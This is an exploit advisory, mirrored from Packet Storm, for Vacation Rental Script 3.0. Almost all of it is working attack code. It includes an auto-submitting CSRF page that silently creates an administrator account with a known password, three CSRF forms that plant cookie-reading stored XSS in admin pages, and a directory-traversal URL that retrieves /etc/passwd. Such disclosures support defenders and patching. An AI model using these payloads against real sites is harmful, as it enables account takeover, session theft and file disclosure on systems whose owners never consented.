Lucene search
K

Vacation Rental Script 3.0 CSRF / XSS / File Disclosure

🗓️ 15 Jan 2014 00:00:00Reported by HackXBackType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 21 Views

Vacation Rental Script V3.0 - Multiple Vulnerabilties including CSRF, XSS, and File Disclosure

Code
`Vacation Rental Script V3.0 - Multiple Vulnerabilties  
====================================================================  
  
####################################################################  
.:. Author : HackXBack  
.:. Contact : [email protected]  
.:. Home : http://www.iphobos.com/blog/  
.:. Script : http://www.phpjabbers.com/vacation-rental-script/  
.:. Tested On Demo :  
http://www.phpjabbers.com/demo/vrl_30/1389729977/index.php?controller=pjAdmin&action=pjActionLogin  
####################################################################  
  
===[ Exploit ]===  
  
[1] Cross Site Request Forgery  
==============================  
  
[Add Admin]  
  
<html>  
<body onload="document.form0.submit();">  
<form method="POST" name="form0" action="  
http://site/index.php?controller=pjAdminUsers&action=pjActionCreate">  
<input type="hidden" name="user_create" value="1"/>  
<input type="hidden" name="role_id" value="1"/>  
<input type="hidden" name="email" value="[email protected]"/>  
<input type="hidden" name="password" value="123456"/>  
<input type="hidden" name="name" value="Iphobos"/>  
<input type="hidden" name="phone" value="123456789"/>  
<input type="hidden" name="status" value="T"/>  
</form>  
</body>  
</html>  
  
[2] Multiple Cross Site Scripting  
==================================  
  
# CSRF with XSS Exploit:  
  
I. Xss In Types  
  
<html>  
<body onload="document.form0.submit();">  
<form method="POST" name="form0" action="  
http://site/index.php?controller=pjAdminTypes&action=pjActionCreate">  
<input type="hidden" name="type_create" value="1"/>  
<input type="hidden" name="i18n[1][name]"  
value="<script>alert(document.cookie);</script>"/>  
<input type="hidden" name="i18n[3][name]" value=""/>  
<input type="hidden" name="i18n[2][name]" value=""/>  
</form>  
</body>  
</html>  
  
II. Xss In Features  
  
<html>  
<body onload="document.form0.submit();">  
<form method="POST" name="form0" action="  
http://site/index.php?controller=pjAdminFeatures&action=pjActionCreate">  
<input type="hidden" name="feature_create" value="1"/>  
<input type="hidden" name="i18n[1][name]"  
value="<script>alert(document.cookie);</script>"/>  
<input type="hidden" name="i18n[3][name]" value=""/>  
<input type="hidden" name="i18n[2][name]" value=""/>  
</form>  
</body>  
</html>  
  
III. Xss In Countries  
  
<html>  
<body onload="document.form0.submit();">  
<form method="POST" name="form0" action="  
http://site/index.php?controller=pjAdminCountries&action=pjActionCreate">  
<input type="hidden" name="country_create" value="1"/>  
<input type="hidden" name="i18n[1][name]"  
value="<script>alert(document.cookie);</script>"/>  
<input type="hidden" name="i18n[3][name]" value=""/>  
<input type="hidden" name="i18n[2][name]" value=""/>  
</form>  
</body>  
</html>  
  
  
[3] Local File disclure  
========================  
  
http://site/index.php?controller=pjBackup&action=pjActionDownload&id=../../../../../../../../etc/passwd  
  
####################################################################  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation